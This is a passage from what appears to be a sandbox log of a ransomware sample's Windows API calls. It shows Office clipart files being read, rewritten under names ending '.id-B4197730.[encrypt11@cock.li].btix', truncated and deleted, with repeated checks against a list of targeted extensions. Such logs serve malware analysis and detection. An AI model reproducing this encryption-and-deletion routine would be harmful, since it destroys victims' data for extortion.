Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.490] lstrlenW (lpString=".dbf") returned 4 [0151.490] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.490] lstrlenW (lpString=".1cd") returned 4 [0151.490] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.490] lstrlenW (lpString=".jpg") returned 4 [0151.490] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.490] lstrlenW (lpString=".doc") returned 4 [0151.490] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.490] lstrlenW (lpString=".docx") returned 5 [0151.490] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0151.490] lstrlenW (lpString=".pdf") returned 4 [0151.490] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.490] lstrlenW (lpString=".xls") returned 4 [0151.490] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.490] lstrlenW (lpString=".xlsx") returned 5 [0151.490] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0151.490] lstrlenW (lpString=".ppt") returned 4 [0151.491] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.491] lstrlenW (lpString=".zip") returned 4 [0151.491] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.491] lstrlenW (lpString=".rar") returned 4 [0151.491] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.491] lstrlenW (lpString=".bz2") returned 4 [0151.491] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.491] lstrlenW (lpString=".7z") returned 3 [0151.491] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.491] lstrlenW (lpString=".dbf") returned 4 [0151.491] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.491] lstrlenW (lpString=".1cd") returned 4 [0151.491] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.491] lstrlenW (lpString=".jpg") returned 4 [0151.491] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.492] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.492] lstrlenW (lpString="J0103058.WMF") returned 12 [0151.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.492] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=17344) returned 1 [0151.492] CloseHandle (hObject=0x348) returned 1 [0151.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220 [0151.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.492] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.492] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.493] GetLastError () returned 0x0 [0151.493] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x43c0, lpOverlapped=0x0) returned 1 [0151.494] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x43d0, lpOverlapped=0x0) returned 1 [0151.495] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.495] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.495] SetEndOfFile (hFile=0x378) returned 1 [0151.495] CloseHandle (hObject=0x378) returned 1 [0151.495] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.495] SetEndOfFile (hFile=0x348) returned 1 [0151.496] CloseHandle (hObject=0x348) returned 1 [0151.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0151.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.497] lstrlenW (lpString=".doc") returned 4 [0151.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.497] lstrlenW (lpString=".docx") returned 5 [0151.497] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.497] lstrlenW (lpString=".pdf") returned 4 [0151.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.497] lstrlenW (lpString=".xls") returned 4 [0151.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.497] lstrlenW (lpString=".xlsx") returned 5 [0151.497] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.497] lstrlenW (lpString=".ppt") returned 4 [0151.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.497] lstrlenW (lpString=".zip") returned 4 [0151.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.497] lstrlenW (lpString=".rar") returned 4 [0151.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.497] lstrlenW (lpString=".bz2") returned 4 [0151.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.497] lstrlenW (lpString=".7z") returned 3 [0151.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.497] lstrlenW (lpString=".dbf") returned 4 [0151.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.497] lstrlenW (lpString=".1cd") returned 4 [0151.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.497] lstrlenW (lpString=".jpg") returned 4 [0151.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.498] lstrlenW (lpString=".doc") returned 4 [0151.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.498] lstrlenW (lpString=".docx") returned 5 [0151.498] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0151.498] lstrlenW (lpString=".pdf") returned 4 [0151.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.498] lstrlenW (lpString=".xls") returned 4 [0151.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.498] lstrlenW (lpString=".xlsx") returned 5 [0151.498] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0151.498] lstrlenW (lpString=".ppt") returned 4 [0151.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.498] lstrlenW (lpString=".zip") returned 4 [0151.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.498] lstrlenW (lpString=".rar") returned 4 [0151.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.498] lstrlenW (lpString=".bz2") returned 4 [0151.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.498] lstrlenW (lpString=".7z") returned 3 [0151.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.498] lstrlenW (lpString=".dbf") returned 4 [0151.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.498] lstrlenW (lpString=".1cd") returned 4 [0151.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0151.499] lstrlenW (lpString=".jpg") returned 4 [0151.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.499] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.499] lstrlenW (lpString="J0103262.WMF") returned 12 [0151.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.499] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=12900) returned 1 [0151.499] CloseHandle (hObject=0x348) returned 1 [0151.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220 [0151.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.499] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.499] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.500] GetLastError () returned 0x0 [0151.500] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3264, lpOverlapped=0x0) returned 1 [0151.501] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3270, lpOverlapped=0x0) returned 1 [0151.502] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.502] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.502] SetEndOfFile (hFile=0x378) returned 1 [0151.502] CloseHandle (hObject=0x378) returned 1 [0151.502] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.502] SetEndOfFile (hFile=0x348) returned 1 [0151.503] CloseHandle (hObject=0x348) returned 1 [0151.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.503] lstrlenW (lpString=".doc") returned 4 [0151.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.503] lstrlenW (lpString=".docx") returned 5 [0151.504] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.504] lstrlenW (lpString=".pdf") returned 4 [0151.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString=".xls") returned 4 [0151.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.504] lstrlenW (lpString=".xlsx") returned 5 [0151.504] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.504] lstrlenW (lpString=".ppt") returned 4 [0151.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.504] lstrlenW (lpString=".zip") returned 4 [0151.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.504] lstrlenW (lpString=".rar") returned 4 [0151.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString=".bz2") returned 4 [0151.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString=".7z") returned 3 [0151.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.504] lstrlenW (lpString=".dbf") returned 4 [0151.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.504] lstrlenW (lpString=".1cd") returned 4 [0151.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.504] lstrlenW (lpString=".jpg") returned 4 [0151.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.505] lstrlenW (lpString=".doc") returned 4 [0151.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.505] lstrlenW (lpString=".docx") returned 5 [0151.505] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.505] lstrlenW (lpString=".pdf") returned 4 [0151.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.505] lstrlenW (lpString=".xls") returned 4 [0151.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.505] lstrlenW (lpString=".xlsx") returned 5 [0151.505] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.505] lstrlenW (lpString=".ppt") returned 4 [0151.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.505] lstrlenW (lpString=".zip") returned 4 [0151.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.505] lstrlenW (lpString=".rar") returned 4 [0151.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.505] lstrlenW (lpString=".bz2") returned 4 [0151.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.505] lstrlenW (lpString=".7z") returned 3 [0151.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.505] lstrlenW (lpString=".dbf") returned 4 [0151.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.505] lstrlenW (lpString=".1cd") returned 4 [0151.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0151.505] lstrlenW (lpString=".jpg") returned 4 [0151.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.506] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.506] lstrlenW (lpString="J0103402.WMF") returned 12 [0151.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.506] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=44948) returned 1 [0151.506] CloseHandle (hObject=0x348) returned 1 [0151.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0151.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.506] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.506] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.509] GetLastError () returned 0x0 [0151.509] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xaf94, lpOverlapped=0x0) returned 1 [0151.510] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xafa0, lpOverlapped=0x0) returned 1 [0151.512] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.512] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.512] SetEndOfFile (hFile=0x378) returned 1 [0151.512] CloseHandle (hObject=0x378) returned 1 [0151.512] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.512] SetEndOfFile (hFile=0x348) returned 1 [0151.513] CloseHandle (hObject=0x348) returned 1 [0151.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0151.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.514] lstrlenW (lpString=".doc") returned 4 [0151.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.514] lstrlenW (lpString=".docx") returned 5 [0151.514] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.514] lstrlenW (lpString=".pdf") returned 4 [0151.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.514] lstrlenW (lpString=".xls") returned 4 [0151.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.514] lstrlenW (lpString=".xlsx") returned 5 [0151.514] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.514] lstrlenW (lpString=".ppt") returned 4 [0151.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.514] lstrlenW (lpString=".zip") returned 4 [0151.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.514] lstrlenW (lpString=".rar") returned 4 [0151.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.514] lstrlenW (lpString=".bz2") returned 4 [0151.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.514] lstrlenW (lpString=".7z") returned 3 [0151.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.514] lstrlenW (lpString=".dbf") returned 4 [0151.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.514] lstrlenW (lpString=".1cd") returned 4 [0151.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0151.514] lstrlenW (lpString=".jpg") returned 4 [0151.514] lstrcmpiW (lpString1=".jpg", 